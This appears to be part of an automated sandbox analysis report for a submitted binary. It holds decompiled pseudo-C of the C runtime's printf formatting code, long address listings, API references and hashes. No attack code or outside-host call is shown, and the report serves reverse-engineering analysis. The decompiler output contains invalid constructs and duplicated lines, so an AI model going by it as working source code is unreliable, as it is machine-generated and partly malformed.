																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																	goto L33;
																case 0xa:
																	L29:
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000001;
																	 *(__ebp - 0x10) = __ecx;
																	goto L33;
																case 0xb:
																	L28:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																	goto L33;
																case 0xc:
																	L32:
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000008;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																	goto L33;
																case 0xd:
																	L33:
																	goto L218;
															}
														} else {
															if(0 == 0) {
																 *(_t557 - 0x314) = 0;
															} else {
																 *(_t557 - 0x314) = 1;
															}
															_t543 =  *(_t557 - 0x314);
															 *(_t557 - 0x278) =  *(_t557 - 0x314);
															if( *(_t557 - 0x278) == 0) {
																_push(L"(\"Incorrect format specifier\", 0)");
																_push(0);
																_push(0x460);
																_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																_push(2);
																_t526 = L0041E350();
																_t559 = _t559 + 0x14;
																if(_t526 == 1) {
																	asm("int3");
																}
															}
															L14:
															if( *(_t557 - 0x278) != 0) {
																goto L16;
															} else {
																 *((intOrPtr*)(L00422E40(_t543))) = 0x16;
																E00422BD0(_t528, _t543, _t555, _t556, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																 *(_t557 - 0x2f0) = 0xffffffff;
																E0041ADF0(_t557 - 0x40);
																_t499 =  *(_t557 - 0x2f0);
																L229:
																return E0042BDF0(_t499, _t528,  *(_t557 - 0x48) ^ _t557, _t547, _t555, _t556);
															}
														}
													}
													L219:
													__eflags =  *(_t557 - 0x25c);
													if( *(_t557 - 0x25c) == 0) {
														L222:
														 *(_t557 - 0x334) = 1;
														L223:
														_t530 =  *(_t557 - 0x334);
														 *(_t557 - 0x2e0) =  *(_t557 - 0x334);
														__eflags =  *(_t557 - 0x2e0);
														if( *(_t557 - 0x2e0) == 0) {
															_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
															_push(0);
															_push(0x8f5);
															_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
															_push(2);
															_t504 = L0041E350();
															_t559 = _t559 + 0x14;
															__eflags = _t504 - 1;
															if(_t504 == 1) {
																asm("int3");
															}
														}
														__eflags =  *(_t557 - 0x2e0);
														if( *(_t557 - 0x2e0) != 0) {
															 *(_t557 - 0x300) =  *(_t557 - 0x24c);
															E0041ADF0(_t557 - 0x40);
															_t499 =  *(_t557 - 0x300);
														} else {
															 *((intOrPtr*)(L00422E40(_t530))) = 0x16;
															E00422BD0(_t528, _t530, _t555, _t556, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
															 *(_t557 - 0x2fc) = 0xffffffff;
															E0041ADF0(_t557 - 0x40);
															_t499 =  *(_t557 - 0x2fc);
														}
														goto L229;
													}
													L220:
													__eflags =  *(_t557 - 0x25c) - 7;
													if( *(_t557 - 0x25c) == 7) {
														goto L222;
													}
													L221:
													 *(_t557 - 0x334) = 0;
													goto L223;
												}
											}
											L187:
											__eflags =  *(__ebp - 0x24);
											if( *(__ebp - 0x24) == 0) {
												L189:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												goto L190;
											}
											L188:
											__eax =  *(__ebp - 4);
											__ecx =  *( *(__ebp - 4));
											__eflags = __ecx - 0x30;
											if(__ecx == 0x30) {
												goto L190;
											}
											goto L189;
										}
										L183:
										__eax =  *(__ebp - 8);
										asm("cdq");
										__ecx =  *(__ebp - 0x2bc);
										__edx =  *(__ebp - 0x2c0);
										__eax = E004308C0( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8),  *(__ebp - 0x2c0));
										 *(__ebp - 0x2ac) = __eax;
										__eax =  *(__ebp - 8);
										asm("cdq");
										__eax =  *(__ebp - 0x2bc);
										__ecx =  *(__ebp - 0x2c0);
										 *(__ebp - 0x2c0) = E00430940( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8), __edx);
										 *(__ebp - 0x2bc) = __edx;
										__eflags =  *(__ebp - 0x2ac) - 0x39;
										if( *(__ebp - 0x2ac) > 0x39) {
											__edx =  *(__ebp - 0x2ac);
											__edx =  *(__ebp - 0x2ac) +  *(__ebp - 0x260);
											__eflags = __edx;
											 *(__ebp - 0x2ac) = __edx;
										}
										__eax =  *(__ebp - 4);
										__cl =  *(__ebp - 0x2ac);
										 *( *(__ebp - 4)) = __cl;
										 *(__ebp - 4) =  *(__ebp - 4) - 1;
										 *(__ebp - 4) =  *(__ebp - 4) - 1;
										L181:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L183;
										}
										goto L182;
									}
								}
								L168:
								__eflags =  *(__ebp - 0x2b8);
								if( *(__ebp - 0x2b8) >= 0) {
									goto L170;
								}
								goto L169;
								L170:
								__ecx =  *(__ebp - 0x2b8);
								 *(__ebp - 0x2c0) =  *(__ebp - 0x2b8);
								__edx =  *(__ebp - 0x2b4);
								 *(__ebp - 0x2bc) =  *(__ebp - 0x2b4);
								goto L171;
							}
						}
					}
				}
			}

0x004350d4
0x004350d4
0x004350d4
0x004350d4
0x004350d4
0x004350d4
0x004350d4
0x004350db
0x004350db
0x004350db
0x004350f1
0x004350f1
0x004350f1
0x004350fb
0x004350fb
0x00435101
0x00435103
0x0043510d
0x0043510d
0x00435110
0x00435113
0x00435113
0x0043513a
0x0043513a
0x0043513d
0x0043513d
0x00435142
0x00435164
0x00435164
0x0043516a
0x0043518c
0x0043518c
0x0043518f
0x004351d6
0x004351d6
0x004351d9
0x004351f6
0x004351fa
0x00435202
0x00435202
0x00435204
0x0043520a
0x004351db
0x004351db
0x004351df
0x004351e7
0x004351e8
0x004351ee
0x004351ee
0x00435191
0x00435194
0x00435194
0x00435197
0x004351b5
0x004351c1
0x004351c4
0x004351c5
0x004351cb
0x00435199
0x00435199
0x0043519d
0x004351a5
0x004351a6
0x004351a7
0x004351ad
0x004351ad
0x004351d1
0x0043516c
0x0043516c
0x00435178
0x0043517e
0x0043517e
0x00435144
0x00435144
0x00435150
0x00435156
0x00435156
0x00435213
0x00435213
0x00435216
0x00000000
0x00000000
0x00435218
0x00435218
0x0043521f
0x00000000
0x00000000
0x00435221
0x00435221
0x0043522c
0x00435232
0x00435234
0x0043523a
0x0043523d
0x0043523f
0x00435245
0x0043524e
0x00435253
0x00435270
0x00435273
0x00435273
0x00435278
0x0043527d
0x0043527d
0x00435283
0x00435285
0x0043528b
0x00435291
0x00435291
0x0043529a
0x0043529a
0x00435283
0x004352a0
0x004352a4
0x004352b2
0x004352b5
0x004352b8
0x004352bf
0x004352c1
0x004352c1
0x004352a6
0x004352a6
0x004352a6
0x004352ce
0x004352ce
0x004352d4
0x004352d6
0x004352d6
0x004352dd
0x004352e0
0x004352e3
0x004352e3
0x004352e3
0x004352e9
0x004352ec
0x004352ef
0x004352f1
0x00000000
0x00000000
0x004352f3
0x004352f9
0x004352f9
0x004352ff
0x0043537c
0x0043537f
0x00435382
0x00435385
0x00435388
0x0043538b
0x00435391
0x00435391
0x00435397
0x004353c2
0x004353c2
0x004353c2
0x004353c6
0x00000000
0x00000000
0x004353cc
0x004353cf
0x004353cf
0x004353d2
0x004353d7
0x004353d7
0x004353dc
0x004353ee
0x004353ee
0x004353f1
0x00435403
0x00435403
0x00435406
0x00435408
0x0043540c
0x0043540c
0x004353f3
0x004353f3
0x004353f7
0x004353f7
0x004353de
0x004353de
0x004353e2
0x004353e2
0x004353dc
0x00435416
0x00435419
0x0043541c
0x00435425
0x00435425
0x00435428
0x0043542a
0x00435431
0x00435435
0x0043543e
0x00435443
0x00435446
0x0043544d
0x00435451
0x00435455
0x00435461
0x00435464
0x00435464
0x00435467
0x0043546c
0x0043546c
0x0043546f
0x00435471
0x00435478
0x0043547c
0x00435485
0x0043548a
0x0043546f
0x0043548d
0x00435491
0x00435565
0x00435565
0x0043556c
0x00435570
0x00435574
0x00435578
0x00000000
0x00435497
0x00435497
0x00435497
0x0043549b
0x00000000
0x00000000
0x004354a1
0x004354a1
0x004354ab
0x004354ae
0x004354b4
0x004354b7
0x004354bd
0x004354bd
0x004354bd
0x004354c9
0x004354cc
0x004354d2
0x004354d4
0x00000000
0x00000000
0x004354da
0x004354da
0x004354e3
0x004354ea
0x004354f4
0x004354fb
0x0043550a
0x00435516
0x00435519
0x0043551f
0x00435526
0x00435531
0x00435531
0x00000000
0x00435531
0x00435528
0x00435528
0x0043552f
0x0043553d
0x0043553d
0x00435544
0x00435548
0x00435556
0x00000000
0x0043555b
0x00000000
0x0043552f
0x00435563
0x00435580
0x00435580
0x00435587
0x0043558c
0x0043558c
0x0043558f
0x00435591
0x00435598
0x0043559c
0x004355a5
0x004355aa
0x0043558f
0x00435587
0x004355ad
0x004355ad
0x004355b1
0x004355b9
0x004355c1
0x004355c1
0x004355c8
0x004355c8
0x0043469f
0x004346a5
0x004346b2
0x004346b7
0x00000000
0x004346ca
0x004346d4
0x004346fb
0x004346e2
0x004346f3
0x004346f3
0x004346d4
0x00434705
0x0043470b
0x00434717
0x0043471a
0x00434728
0x0043472b
0x00434738
0x004347dd
0x004347e3
0x004347e9
0x004347f0
0x00000000
0x00000000
0x004347f6
0x004347fc
0x00000000
0x00434803
0x00434803
0x0043481b
0x00434820
0x00434823
0x00434825
0x004348df
0x004348f2
0x004348f7
0x00000000
0x0043482b
0x0043483e
0x00434843
0x00434849
0x0043484b
0x00434854
0x00434854
0x00434857
0x00434863
0x00434867
0x0043486d
0x0043486f
0x00434874
0x00434876
0x0043487b
0x00434880
0x00434882
0x00434887
0x0043488a
0x0043488d
0x0043488f
0x0043488f
0x0043488d
0x00434890
0x00434890
0x00434897
0x00000000
0x00434899
0x0043489e
0x004348ba
0x004348c2
0x004348cf
0x004348d4
0x00000000
0x004348d4
0x00434897
0x00000000
0x004348ff
0x004348ff
0x00434906
0x00434909
0x0043490c
0x0043490f
0x00434912
0x00434915
0x00434918
0x0043491f
0x00434926
0x00000000
0x00000000
0x00434932
0x00434932
0x00434939
0x00434945
0x00434948
0x0043494e
0x00434955
0x00000000
0x00000000
0x00434957
0x00434957
0x0043495d
0x0043495d
0x00434964
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004349a7
0x004349a7
0x004349ae
0x004349b1
0x004349db
0x004349de
0x004349de
0x004349e1
0x004349e8
0x004349e8
0x004349ec
0x004349b3
0x004349b3
0x004349bf
0x004349c2
0x004349c6
0x004349c8
0x004349cb
0x004349cb
0x004349ce
0x004349d4
0x004349d6
0x004349d6
0x004349d9
0x00000000
0x00000000
0x004349f4
0x004349f4
0x00000000
0x00000000
0x00434a00
0x00434a00
0x00434a07
0x00434a0a
0x00434a2a
0x00434a2d
0x00434a2d
0x00434a37
0x00434a37
0x00434a3b
0x00434a0c
0x00434a0c
0x00434a18
0x00434a1b
0x00434a1f
0x00434a21
0x00434a21
0x00434a28
0x00000000
0x00000000
0x00434a43
0x00434a43
0x00434a4a
0x00434a56
0x00434a59
0x00434a5f
0x00434a66
0x00434b79
0x00000000
0x00434b79
0x00434a6c
0x00434a6c
0x00434a72
0x00434a72
0x00434a79
0x00000000
0x00434aaf
0x00434aaf
0x00434ab2
0x00434ab5
0x00434ab8
0x00434ae0
0x00434ae0
0x00434ae3
0x00434ae6
0x00434ae9
0x00434b0e
0x00434b0e
0x00434b11
0x00434b14
0x00434b17
0x00434b50
0x00434b61
0x00000000
0x00434b61
0x00434b19
0x00434b19
0x00434b1c
0x00434b1f
0x00434b22
0x00000000
0x00000000
0x00434b24
0x00434b24
0x00434b27
0x00434b2a
0x00434b2d
0x00000000
0x00000000
0x00434b2f
0x00434b2f
0x00434b32
0x00434b35
0x00434b38
0x00000000
0x00000000
0x00434b3a
0x00434b3a
0x00434b3d
0x00434b40
0x00434b43
0x00000000
0x00000000
0x00434b45
0x00434b45
0x00434b48
0x00434b4b
0x00434b4e
0x00434b52
0x00000000
0x00434b52
0x00000000
0x00434b4e
0x00434aeb
0x00434aeb
0x00434aee
0x00434af2
0x00434af5
0x00000000
0x00434af7
0x00434afa
0x00434afd
0x00434b00
0x00434b03
0x00434b09
0x00000000
0x00434b09
0x00434af5
0x00434aba
0x00434aba
0x00434abd
0x00434ac1
0x00434ac4
0x00000000
0x00434ac6
0x00434ac9
0x00434acc
0x00434acf
0x00434ad2
0x00434ad8
0x00000000
0x00434ad8
0x00000000
0x00434b63
0x00434b66
0x00434b69
0x00000000
0x00000000
0x00434a80
0x00434a80
0x00434a83
0x00434a86
0x00434a89
0x00434aa1
0x00434aa4
0x00434aa4
0x00434aa7
0x00434a8b
0x00434a8e
0x00434a91
0x00434a97
0x00434a9c
0x00434a9c
0x00000000
0x00000000
0x00434b6e
0x00434b6e
0x00434b71
0x00434b71
0x00434b76
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434b7e
0x00434b7e
0x00434b85
0x00434b91
0x00434b94
0x00434b9a
0x00434ba1
0x004353c2
0x004353c2
0x004353c2
0x004353c6
0x00000000
0x00000000
0x00000000
0x004353c6
0x004353c2
0x00434ba7
0x00434bad
0x00434bad
0x00434bb4
0x00000000
0x00434f0e
0x00434f0e
0x00434f15
0x00434f1c
0x00434f1c
0x00434f1f
0x00000000
0x00000000
0x00434bbb
0x00434bbe
0x00434bbe
0x00434bc4
0x00434bc6
0x00434bc9
0x00434bc9
0x00434bce
0x00434bce
0x00000000
0x00000000
0x00434cfb
0x00434cfe
0x00434cfe
0x00434d03
0x00434d05
0x00434d08
0x00434d08
0x00434d0e
0x00434d0e
0x00000000
0x00000000
0x004350db
0x004350db
0x00000000
0x00000000
0x00434c65
0x00434c65
0x00434c71
0x00434c77
0x00434c7e
0x00434c8c
0x00434c8c
0x00434c92
0x00434c95
0x00434ca1
0x00434cf6
0x00000000
0x00434cf6
0x00434c80
0x00434c80
0x00434c86
0x00434c8a
0x00434ca6
0x00434ca9
0x00434ca9
0x00434caf
0x00434cd7
0x00434cde
0x00434ce4
0x00434ce7
0x00434cea
0x00434cf0
0x00434cf3
0x00434cb1
0x00434cb1
0x00434cb7
0x00434cba
0x00434cbd
0x00434cc3
0x00434cc6
0x00434cc9
0x00434ccb
0x00434cce
0x00434cce
0x00000000
0x00434caf
0x00000000
0x00000000
0x00434f25
0x00434f28
0x00434f2b
0x00434f2e
0x00434f34
0x00434f37
0x00434f3e
0x00434f42
0x00434f4d
0x00434f4d
0x00434f51
0x00434f68
0x00434f68
0x00434f6f
0x00434f71
0x00434f71
0x00434f78
0x00434f78
0x00434f7f
0x00434f90
0x00434f9f
0x00434fa2
0x00434fa6
0x00434fbc
0x00434fa8
0x00434fa8
0x00434fab
0x00434fb1
0x00434fb7
0x00434fb7
0x00434fa6
0x00434fc6
0x00434fc9
0x00434fcc
0x00434fcf
0x00434fd2
0x00434fd5
0x00434fdb
0x00434fe1
0x00434fe9
0x00434fea
0x00434fed
0x00434fee
0x00434ff1
0x00434ff2
0x00434ff9
0x00434ffa
0x00434ffd
0x00434ffe
0x00435001
0x00435002
0x00435008
0x00435009
0x00435017
0x00435019
0x0043501f
0x0043501f
0x00435025
0x00435027
0x0043502b
0x0043502d
0x00435035
0x00435036
0x00435039
0x0043503a
0x00435048
0x0043504a
0x0043504a
0x0043502b
0x0043504d
0x00435054
0x00435057
0x0043505c
0x0043505c
0x00435062
0x00435064
0x0043506c
0x0043506d
0x00435070
0x00435071
0x00435080
0x00435082
0x00435082
0x00435062
0x00435085
0x00435088
0x0043508b
0x0043508e
0x00435093
0x00435099
0x0043509c
0x0043509f
0x0043509f
0x004350a2
0x004350a2
0x004350a5
0x004350b1
0x004353c2
0x004353c2
0x004353c2
0x004353c6
0x00000000
0x00000000
0x00000000
0x004353c6
0x00000000
0x004353c2
0x00434f53
0x00434f53
0x00434f5a
0x00434f5d
0x00000000
0x00000000
0x00434f5f
0x00434f5f
0x00000000
0x00434f5f
0x00434f44
0x00434f44
0x00000000
0x00000000
0x00434bd1
0x00434bd4
0x00434bd4
0x00434bda
0x00434c35
0x00434c3d
0x00434c44
0x00434c4a
0x00434c50
0x00434bdc
0x00434bdc
0x00434be6
0x00434bea
0x00434bf2
0x00434bf9
0x00434c06
0x00434c0d
0x00434c19
0x00434c1f
0x00434c26
0x00434c28
0x00434c28
0x00434c2f
0x00434c57
0x00434c5d
0x004353c2
0x004353c2
0x004353c2
0x004353c6
0x00000000
0x00000000
0x00000000
0x004353c6
0x00000000
0x004350b9
0x004350bc
0x004350bf
0x004350c2
0x00000000
0x00000000
0x00434e17
0x00434e17
0x00434e23
0x00434e29
0x00434e2e
0x00434e30
0x00434eda
0x00434edd
0x00434edd
0x00434ee0
0x00434ef4
0x00434efa
0x00434f00
0x00434ee2
0x00434ee2
0x00434eef
0x00434eef
0x00434f02
0x004353c2
0x004353c2
0x004353c2
0x004353c6
0x00000000
0x00000000
0x00000000
0x004353c6
0x004353c2
0x00434e36
0x00434e36
0x00434e36
0x00434e38
0x00434e46
0x00434e3a
0x00434e3a
0x00434e3a
0x00434e50
0x00434e56
0x00434e5c
0x00434e63
0x00434e65
0x00434e6a
0x00434e6c
0x00434e71
0x00434e76
0x00434e78
0x00434e7d
0x00434e80
0x00434e83
0x00434e85
0x00434e85
0x00434e83
0x00434e86
0x00434e8d
0x00434ed5
0x004353c2
0x004353c2
0x004353c2
0x004353c6
0x00000000
0x00000000
0x00000000
0x004353c6
0x00434e8f
0x00434e8f
0x00434e94
0x00434eb0
0x00434eb8
0x00434ec2
0x00434ec5
0x00434eca
0x00000000
0x00434eca
0x00000000
0x0043511c
0x0043511c
0x00435126
0x00435126
0x0043512c
0x0043512e
0x00435131
0x00435131
0x00435137
0x00435137
0x0043513a
0x0043513d
0x0043513d
0x00435142
0x00435164
0x00435164
0x0043516a
0x0043518c
0x0043518c
0x0043518f
0x004351d6
0x004351d6
0x004351d9
0x004351f6
0x004351fa
0x00435202
0x00435202
0x00435204
0x0043520a
0x004351db
0x004351db
0x004351df
0x004351e7
0x004351e8
0x004351ee
0x004351ee
0x00435191
0x00435194
0x00435194
0x00435197
0x004351b5
0x004351c1
0x004351c4
0x004351c5
0x004351cb
0x00435199
0x00435199
0x0043519d
0x004351a5
0x004351a6
0x004351a7
0x004351ad
0x004351ad
0x004351d1
0x0043516c
0x0043516c
0x00435178
0x0043517e
0x0043517e
0x00435144
0x00435144
0x00435150
0x00435156
0x00435156
0x00435213
0x00435213
0x00435216
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434d11
0x00434d11
0x00434d15
0x00434d23
0x00434d26
0x00434d17
0x00434d17
0x00434d17
0x00434d2c
0x00434d32
0x00434d38
0x00434d44
0x00434d4a
0x00434d4a
0x00434d50
0x00434db7
0x00434db7
0x00434dbb
0x00434dbd
0x00434dc3
0x00434dc3
0x00434dc6
0x00434dc9
0x00434dcf
0x00434dcf
0x00434dcf
0x00434ddb
0x00434dde
0x00434de4
0x00434de6
0x00000000
0x00000000
0x00434de8
0x00434de8
0x00434dee
0x00434df1
0x00434df3
0x00000000
0x00000000
0x00434df5
0x00434dfb
0x00434dfe
0x00434dfe
0x00434e06
0x00434e06
0x00434e0c
0x00434e0c
0x00434e0f
0x00000000
0x00434d52
0x00434d52
0x00434d52
0x00434d56
0x00434d58
0x00434d5d
0x00434d5d
0x00434d60
0x00434d67
0x00434d6a
0x00434d70
0x00434d70
0x00434d70
0x00434d7c
0x00434d7f
0x00434d85
0x00434d87
0x00000000
0x00000000
0x00434d89
0x00434d89
0x00434d8f
0x00434d92
0x00434d94
0x00000000
0x00000000
0x00434d96
0x00434d9c
0x00434d9f
0x00434d9f
0x00434da7
0x00434dad
0x00434db0
0x00434db2
0x00434e12
0x004353c2
0x004353c2
0x004353c2
0x004353c6
0x00000000
0x00000000
0x00000000
0x004353c6
0x004353c2
0x00000000
0x004350cb
0x004350cb
0x0043513a
0x0043513a
0x0043513d
0x0043513d
0x00435142
0x00435164
0x00435164
0x0043516a
0x0043518c
0x0043518c
0x0043518f
0x004351d6
0x004351d6
0x004351d9
0x004351f6
0x004351fa
0x00435202
0x00435202
0x00435204
0x0043520a
0x004351db
0x004351db
0x004351df
0x004351e7
0x004351e8
0x004351ee
0x004351ee
0x00435191
0x00435194
0x00435194
0x00435197
0x004351b5
0x004351c1
0x004351c4
0x004351c5
0x004351cb
0x00435199
0x00435199
0x0043519d
0x004351a5
0x004351a6
0x004351a7
0x004351ad
0x004351ad
0x004351d1
0x0043516c
0x0043516c
0x00435178
0x0043517e
0x0043517e
0x00435144
0x00435144
0x00435150
0x00435156
0x00435156
0x00435213
0x00435213
0x00435216
0x00000000
0x00000000
0x00000000
0x00435216
0x00000000
0x004350e7
0x004350e7
0x004350f1
0x004350f1
0x004350fb
0x004350fb
0x00435101
0x00435103
0x0043510d
0x0043510d
0x00435110
0x00435113
0x00435113
0x0043513a
0x0043513a
0x0043513d
0x0043513d
0x00435142
0x00435164
0x00435164
0x0043516a
0x0043518c
0x0043518c
0x0043518f
0x004351d6
0x004351d6
0x004351d9
0x004351f6
0x004351fa
0x00435202
0x00435202
0x00435204
0x0043520a
0x004351db
0x004351db
0x004351df
0x004351e7
0x004351e8
0x004351ee
0x004351ee
0x00435191
0x00435194
0x00435194
0x00435197
0x004351b5
0x004351c1
0x004351c4
0x004351c5
0x004351cb
0x00435199
0x00435199
0x0043519d
0x004351a5
0x004351a6
0x004351a7
0x004351ad
0x004351ad
0x004351d1
0x0043516c
0x0043516c
0x00435178
0x0043517e
0x0043517e
0x00435144
0x00435144
0x00435150
0x00435156
0x00435156
0x00435213
0x00435213
0x00435216
0x00000000
0x00000000
0x00000000
0x00435216
0x00000000
0x004353c2
0x004353c2
0x004353c2
0x004353c6
0x00000000
0x00000000
0x00000000
0x004353c6
0x00000000
0x00000000
0x00434981
0x00434984
0x00434987
0x00000000
0x00000000
0x0043498c
0x0043498f
0x00434994
0x00000000
0x00000000
0x00434976
0x00434976
0x00434979
0x0043497c
0x00000000
0x00000000
0x0043496b
0x0043496e
0x00434971
0x00000000
0x00000000
0x00434999
0x00434999
0x0043499c
0x0043499c
0x0043499f
0x00000000
0x00000000
0x004349a2
0x00000000
0x00000000
0x0043473e
0x00434740
0x0043474e
0x00434742
0x00434742
0x00434742
0x00434758
0x0043475e
0x0043476b
0x0043476d
0x00434772
0x00434774
0x00434779
0x0043477e
0x00434780
0x00434785
0x0043478b
0x0043478d
0x0043478d
0x0043478b
0x0043478e
0x00434795
0x00000000
0x00434797
0x0043479c
0x004347b8
0x004347c0
0x004347cd
0x004347d2
0x00435691
0x0043569e
0x0043569e
0x00434795
0x00434738
0x004355cd
0x004355cd
0x004355d4
0x004355eb
0x004355eb
0x004355f5
0x004355f5
0x004355fb
0x00435601
0x00435608
0x0043560a
0x0043560f
0x00435611
0x00435616
0x0043561b
0x0043561d
0x00435622
0x00435625
0x00435628
0x0043562a
0x0043562a
0x00435628
0x0043562b
0x00435632
0x0043567d
0x00435686
0x0043568b
0x00435634
0x00435639
0x00435655
0x0043565d
0x0043566a
0x0043566f
0x0043566f
0x00000000
0x00435632
0x004355d6
0x004355d6
0x004355dd
0x00000000
0x00000000
0x004355df
0x004355df
0x00000000
0x004355df
0x004353c2
0x00435399
0x00435399
0x0043539d
0x004353aa
0x004353ad
0x004353b0
0x004353b3
0x004353b6
0x004353b9
0x004353bc
0x004353bc
0x004353bf
0x00000000
0x004353bf
0x0043539f
0x0043539f
0x004353a2
0x004353a5
0x004353a8
0x00000000
0x00000000
0x00000000
0x004353a8
0x00435301
0x00435301
0x00435304
0x00435307
0x0043530e
0x00435315
0x0043531d
0x00435323
0x00435326
0x00435329
0x00435330
0x0043533c
0x00435342
0x00435348
0x0043534f
0x00435351
0x00435357
0x00435357
0x0043535d
0x0043535d
0x00435363
0x00435366
0x0043536c
0x00435371
0x00435374
0x004352e3
0x004352e3
0x004352e9
0x004352ec
0x004352ef
0x004352f1
0x00000000
0x00000000
0x00000000
0x004352f1
0x004352e3
0x00435223
0x00435223
0x0043522a
0x00000000
0x00000000
0x00000000
0x00435258
0x00435258
0x0043525e
0x00435264
0x0043526a
0x00000000
0x0043526a
0x0043513a
0x004350f1
0x004350db

APIs

_get_int64_arg.LIBCMTD ref: 00435148
__aullrem.LIBCMT ref: 00435315
__aulldiv.LIBCMT ref: 00435337

Strings

0, xrefs: 00435103
9, xrefs: 00435348

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 0$9
API String ID: 3120068967-1975997740
Opcode ID: bfbcba11c80bff383e639ac83f0e674f3b48becf6fda37fabb7fba7b4f58a35d
Instruction ID: b5e479bf5ceb0176cdb387a9840d1e4853198f4b6d9a543c0e312f851c590444
Opcode Fuzzy Hash: bfbcba11c80bff383e639ac83f0e674f3b48becf6fda37fabb7fba7b4f58a35d
Instruction Fuzzy Hash: 59410471D15A29DFEF24CF88C889BAEB7B5BB48304F2495DAD408A7241C7389E85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00427D05, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00427D05() {
				signed int _t478;
				signed int _t524;

				L0:
				while(1) {
					L0:
					 *(_t524 - 0x30) = 8;
					while(1) {
						L137:
						 *(__ebp - 0x260) = 7;
						while(1) {
							L139:
							 *(__ebp - 8) = 0x10;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
							__eflags =  *(__ebp - 0x10) & 0x00000080;
							if(( *(__ebp - 0x10) & 0x00000080) != 0) {
								 *(__ebp - 0x14) = 0x30;
								 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
								__eflags =  *(__ebp - 0x260) + 0x51;
								 *((char*)(__ebp - 0x13)) = __al;
								 *(__ebp - 0x1c) = 2;
							}
							while(1) {
								L144:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
										__eflags =  *(__ebp - 0x10) & 0x00000020;
										if(( *(__ebp - 0x10) & 0x00000020) == 0) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												__eax = E004284A0(__ebp + 0x14);
												__edx = 0;
												__eflags = 0;
												 *(__ebp - 0x2b0) = __eax;
												 *(__ebp - 0x2ac) = 0;
											} else {
												__eax = __ebp + 0x14;
												__eax = E004284A0(__ebp + 0x14);
												asm("cdq");
												 *(__ebp - 0x2b0) = __eax;
												 *(__ebp - 0x2ac) = __edx;
											}
										} else {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												E004284A0(__ebp + 0x14) = __ax & 0x0000ffff;
												asm("cdq");
												 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
												 *(__ebp - 0x2ac) = __edx;
											} else {
												__eax = __ebp + 0x14;
												__eax = E004284A0(__ebp + 0x14);
												__ax = __eax;
												asm("cdq");
												 *(__ebp - 0x2b0) = __eax;
												 *(__ebp - 0x2ac) = __edx;
											}
										}
									} else {
										__eax = __ebp + 0x14;
										 *(__ebp - 0x2b0) = E004284C0(__ebp + 0x14);
										 *(__ebp - 0x2ac) = __edx;
									}
								} else {
									__ecx = __ebp + 0x14;
									 *(__ebp - 0x2b0) = E004284C0(__ebp + 0x14);
									 *(__ebp - 0x2ac) = __edx;
								}
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
								__eflags =  *(__ebp - 0x10) & 0x00000040;
								if(( *(__ebp - 0x10) & 0x00000040) == 0) {
									goto L161;
								}
								L157:
